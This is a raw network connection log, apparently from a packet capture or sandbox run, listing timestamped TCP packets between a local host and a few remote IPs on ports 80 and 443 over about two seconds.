Oct 31, 2024 09:07:10.371444941 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.371874094 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.371882915 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.371891975 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.371903896 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.371912003 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.371913910 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.371923923 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.371957064 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.372427940 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.372440100 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.372473001 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.372493029 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.372545004 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.372577906 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.372798920 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.372809887 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.372819901 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.372843981 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.372858047 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.372961044 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.372972965 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.372981071 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.372998953 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.373024940 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.373507977 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.373521090 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.373528957 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.373541117 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.373548985 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.373565912 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.373572111 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.373579025 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.373589993 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.373596907 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.373622894 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.374789953 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.374803066 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.374811888 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.374821901 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.374833107 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.374835014 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.374846935 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.374856949 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.374871969 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.374896049 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.406186104 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.406197071 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.406207085 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.406308889 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.406495094 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.406539917 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.406675100 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.406687975 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.406697989 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.406708956 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.406716108 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.406735897 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.406765938 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.407181978 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.407193899 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.407227993 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.407259941 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.407520056 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.407530069 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.407537937 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.407572031 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.407597065 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.407644033 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.407695055 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.449059963 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.449136972 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.449174881 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.449184895 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.449194908 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.449222088 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.449249029 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.449453115 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.449461937 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.449467897 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.449476957 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.449501038 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.449516058 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.449687004 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.449696064 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.449701071 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.449709892 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.449719906 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.449731112 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.449732065 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.449748993 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.449769020 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.450285912 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.450323105 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.473048925 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.473121881 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.473123074 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.473134041 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.473196030 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.477691889 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.477703094 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.477714062 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.477737904 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.477766037 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.477802992 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.488265038 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.488275051 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.488284111 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.488297939 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.488306999 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.488317966 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.488321066 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.488358974 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.488464117 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.488475084 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.488486052 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.488502979 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.488531113 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.488953114 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.488964081 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.489001989 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.489027977 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.489037037 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.489068031 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.489090919 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.489231110 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.489243031 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.489252090 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.489264011 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.489269018 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.489295006 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.489320993 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.489708900 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.489720106 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.489729881 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.489742041 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.489751101 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.489761114 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.489770889 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.489778042 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.489780903 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.489789963 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.489799976 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.489821911 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.490726948 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.490739107 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.490746975 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.490757942 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.490765095 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.490768909 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.490781069 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.490791082 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.490794897 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.490802050 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.490813017 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.490823030 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.490839005 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.490848064 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.491652966 CET	80	49709	45.88.105.105	192.168.2.6
Oct 31, 2024 09:07:10.491693020 CET	49709	80	192.168.2.6	45.88.105.105
Oct 31, 2024 09:07:10.851295948 CET	443	49714	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.851739883 CET	49714	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.851777077 CET	443	49714	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.852261066 CET	49714	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.852267027 CET	443	49714	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.860903025 CET	443	49712	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.861190081 CET	49712	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.861200094 CET	443	49712	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.861586094 CET	49712	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.861589909 CET	443	49712	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.865061045 CET	443	49716	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.865376949 CET	49716	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.865401030 CET	443	49716	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.865788937 CET	49716	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.865794897 CET	443	49716	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.865823030 CET	443	49715	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.866099119 CET	49715	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.866130114 CET	443	49715	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.866453886 CET	49715	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.866460085 CET	443	49715	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.867598057 CET	443	49713	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.867841005 CET	49713	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.867847919 CET	443	49713	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.868160009 CET	49713	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.868165016 CET	443	49713	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.982942104 CET	443	49714	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.982968092 CET	443	49714	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.983041048 CET	49714	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.983061075 CET	443	49714	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.983072996 CET	443	49714	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.983141899 CET	49714	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.983331919 CET	49714	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.983331919 CET	49714	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.983350039 CET	443	49714	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.983359098 CET	443	49714	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.986598015 CET	49717	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.986691952 CET	443	49717	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.986831903 CET	49717	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.986998081 CET	49717	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.987035990 CET	443	49717	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.990447998 CET	443	49712	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.990468979 CET	443	49712	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.990513086 CET	443	49712	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.990534067 CET	49712	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.990562916 CET	49712	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.990711927 CET	49712	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.990720987 CET	443	49712	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.990730047 CET	49712	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.990736961 CET	443	49712	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.993135929 CET	49718	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.993165016 CET	443	49718	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.993240118 CET	49718	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.993419886 CET	49718	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.993432999 CET	443	49718	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.994551897 CET	443	49716	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.994940996 CET	443	49716	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.994998932 CET	49716	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.995029926 CET	49716	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.995039940 CET	443	49716	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.995049953 CET	49716	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.995054007 CET	443	49716	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.997158051 CET	49719	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.997191906 CET	443	49719	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.997260094 CET	49719	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.997371912 CET	49719	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.997399092 CET	443	49719	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.997957945 CET	443	49715	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.997977972 CET	443	49715	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.998018980 CET	443	49715	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.998028994 CET	49715	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.998056889 CET	49715	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.998188019 CET	49715	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.998208046 CET	443	49715	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.998219967 CET	49715	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.998226881 CET	443	49715	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.999214888 CET	443	49713	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.999397039 CET	443	49713	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.999453068 CET	49713	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.999476910 CET	49713	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.999484062 CET	443	49713	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:10.999494076 CET	49713	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:10.999499083 CET	443	49713	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.000196934 CET	49720	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:11.000232935 CET	443	49720	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.000333071 CET	49720	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:11.000575066 CET	49720	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:11.000587940 CET	443	49720	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.002069950 CET	49721	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:11.002108097 CET	443	49721	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.002183914 CET	49721	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:11.002279043 CET	49721	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:11.002295017 CET	443	49721	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.707268953 CET	443	49717	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.720204115 CET	443	49718	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.741691113 CET	443	49720	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.745567083 CET	443	49721	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.751537085 CET	443	49719	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.755765915 CET	49717	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:11.771863937 CET	49718	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:11.783605099 CET	49720	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:11.792103052 CET	49719	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:11.792107105 CET	49721	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:11.832906961 CET	49719	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:11.832931042 CET	443	49719	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.833482981 CET	49719	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:11.833491087 CET	443	49719	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.833822966 CET	49721	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:11.833841085 CET	443	49721	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.834433079 CET	49721	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:11.834438086 CET	443	49721	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.834769011 CET	49717	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:11.834774017 CET	443	49717	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.835249901 CET	49717	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:11.835254908 CET	443	49717	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.837167025 CET	49718	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:11.837176085 CET	443	49718	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.837546110 CET	49720	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:11.837555885 CET	443	49720	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.837635040 CET	49718	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:11.837640047 CET	443	49718	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.838186026 CET	49720	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:11.838191986 CET	443	49720	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.959265947 CET	443	49717	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.959484100 CET	443	49717	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.959531069 CET	49717	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:11.961968899 CET	443	49721	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.962018967 CET	443	49721	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.962091923 CET	49721	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:11.962121010 CET	443	49718	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.962246895 CET	443	49718	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.962300062 CET	49718	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:11.963757992 CET	443	49720	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.963828087 CET	443	49720	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.963881016 CET	49720	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:11.964431047 CET	443	49719	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.964590073 CET	443	49719	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:11.964648962 CET	49719	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.064507008 CET	49722	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:12.064584970 CET	443	49722	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:12.064637899 CET	49722	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:12.067235947 CET	49722	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:12.067255020 CET	443	49722	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:12.071408033 CET	49717	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.071408033 CET	49717	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.071451902 CET	443	49717	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.071482897 CET	443	49717	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.071729898 CET	49720	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.071729898 CET	49720	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.071748018 CET	443	49720	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.071759939 CET	443	49720	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.071774006 CET	49719	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.071787119 CET	443	49719	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.071819067 CET	49719	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.071832895 CET	443	49719	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.073853970 CET	49721	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.073883057 CET	443	49721	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.073895931 CET	49721	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.073901892 CET	443	49721	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.073923111 CET	49718	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.073945045 CET	443	49718	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.073961973 CET	49718	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.073966980 CET	443	49718	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.118321896 CET	49726	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.118354082 CET	443	49726	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.118463993 CET	49726	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.119920969 CET	49726	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.119937897 CET	443	49726	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.122714996 CET	49727	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.122744083 CET	443	49727	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.122867107 CET	49727	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.123127937 CET	49727	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.123145103 CET	443	49727	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.155194998 CET	49728	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.155220032 CET	443	49728	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.155333042 CET	49728	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.162858963 CET	49728	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.162878036 CET	443	49728	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.167753935 CET	49729	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:12.167789936 CET	443	49729	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:12.167872906 CET	49729	443	192.168.2.6	13.107.246.45
